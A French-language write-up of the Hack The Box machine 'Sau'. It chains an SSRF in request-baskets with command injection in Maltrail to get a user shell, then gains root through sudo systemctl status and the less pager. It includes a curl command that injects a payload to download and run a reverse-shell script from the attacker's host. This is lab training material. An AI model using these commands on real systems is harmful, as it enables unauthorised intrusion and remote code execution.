HTB - Sau

Enumeration:

Nmap

Nmap scan report for 10.129.167.17
Host is up (0.028s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 08 Jul 2023 19:23:36 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 08 Jul 2023 19:23:11 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 08 Jul 2023 19:23:11 GMT
|_    Content-Length: 0

User exploit

Il y a deux vulnérabilités a exploiter afin d’obtenir un shell en tant que User. Dans un premier temps request-baskets v1.2.1 est vulnérable a une faille de type SSRF (Server Side Request Forgery).

Une faille de type SSRF permet d’effectuer des requêtes malicieuses par l’entremise du server Web vers un endroit arbitraire.

Cette vulnérabilité se situe dans les endpoints de l’API suivants au niveau du paramètre forward_url.

  • /api/baskets/{name}
  • /baskets/{name}

Lorsque le Basket est créé, il est possible de modifier ledit paramètre et d’y inséré une adresse IP locale.

Code vulnérable

// https://github.com/darklynx/request-baskets/blob/a36e2ae402204050ce42a78d750785b4b10e7958/baskets.go#L18C1-L25C2

// BasketConfig describes single basket configuration.
type BasketConfig struct {
	ForwardURL    string `json:"forward_url"`
	ProxyResponse bool   `json:"proxy_response"`
	InsecureTLS   bool   `json:"insecure_tls"`
	ExpandPath    bool   `json:"expand_path"`
	Capacity      int    `json:"capacity"`
}
// https://github.com/darklynx/request-baskets/blob/9e4107228f6b409ccd3c3d7371b0e0fd5a5798a1/baskets.go#L152

func (req *RequestData) Forward(client *http.Client, config BasketConfig, basket string) (*http.Response, error) {
	forwardURL, err := url.ParseRequestURI(config.ForwardURL)
	if err != nil {
		return nil, fmt.Errorf("invalid forward URL: %s - %s", config.ForwardURL, err)
	}

	// expand path
	if config.ExpandPath && len(req.Path) > len(basket)+1 {
		forwardURL.Path = expandURL(forwardURL.Path, req.Path, basket)
	}

	// append query
	if len(req.Query) > 0 {
		if len(forwardURL.RawQuery) > 0 {
			forwardURL.RawQuery += "&" + req.Query
		} else {
			forwardURL.RawQuery = req.Query
		}
	}
[...]

Lorsque le lien du panier est visité, la vulnérabilité est activée.

Basé sur le résultat du scan nmap, il est possible de constater qu’une application est active sur le port 8338/tcp mais que le trafic est filtré. Il est donc possible d’effectuer des requêtes vers cette application grâce à la SSRF. Quelques requêtes suffises afin d’identifier que l’application active est mailtrail.

La version du logiciel est Mailtrail (v0.53). Cette version est vulnérable a une exécution de code au niveau du système d’exploitation (OS Command injection).

Une vulnérabilité de type OS Command injection permet de faire exécuter du code arbitraire par le système d’exploitation.

La vulnérabilité se situe au niveau de la fonction subprocess.check_output dans le paramètre params.get("username") dans le fichier mailtrail/core/http.py.

if not IS_WIN:
    try:
        subprocess.check_output(["logger", "-p", "auth.info", "-t", "%s[%d]" % (NAME.lower(), os.getpid()), "%s password for %s from %s port %s" % ("Accepted" if valid else "Failed", params.get("username"), self.client_address[0], self.client_address[1])], stderr=subprocess.STDOUT, shell=False)
    except Exception:
        if config.SHOW_DEBUG:
            traceback.print_exc()

return content

En combinant les deux vulnérabilités, il est possible d’obtenir un accès utilisateur sur la boxe.

#!/bin/bash

curl -k 'http://10.129.153.197:55555/qp9dxnt' --data 'username=;`/bin/curl 10.10.14.113/rev.sh | bash`'

User –> puma

Root exploit

L’utilisateur puma a la permission d’exécuter une commande avec des droits de super utilisateur

puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Voici une explication de la vulnérabilité

A vulnerability was found in the systemd package. The systemd package does not adequately block local privilege escalation for some Sudo configurations, for example, plausible sudoers files, in which the “systemctl status” command may be executed. Specifically, systemd does not set LESSSECURE to 1, and thus other programs may be launched from the less program. This issue presents a substantial security risk when running systemctl from Sudo because less executes as root when the terminal size is too small to show the complete systemctl output.

En effectuant plusieurs requêtes vers le service Maltrail, pager, un binaire qui permet de visionner du contenu au niveau d’un terminal Linux sera exécuté.

sudo /usr/bin/systemctl status trail.service

pager pointe vers le binaire less. En exécutant la commande !sh, on obtient un shell en tant que root.

Resources:

HyperlinkInfo
https://notes.sjtu.edu.cn/s/MUUhEymt7Exploit request-baskets v1.2.1
https://github.com/advisories/GHSA-58g2-vgpg-335qExploit request-baskets v1.2.1
https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/Exploit MailTrail v0.53
https://bugzilla.redhat.com/show_bug.cgi?id=2175611Exploit systemctl
https://gtfobins.github.io/gtfobins/systemctl/GTFObins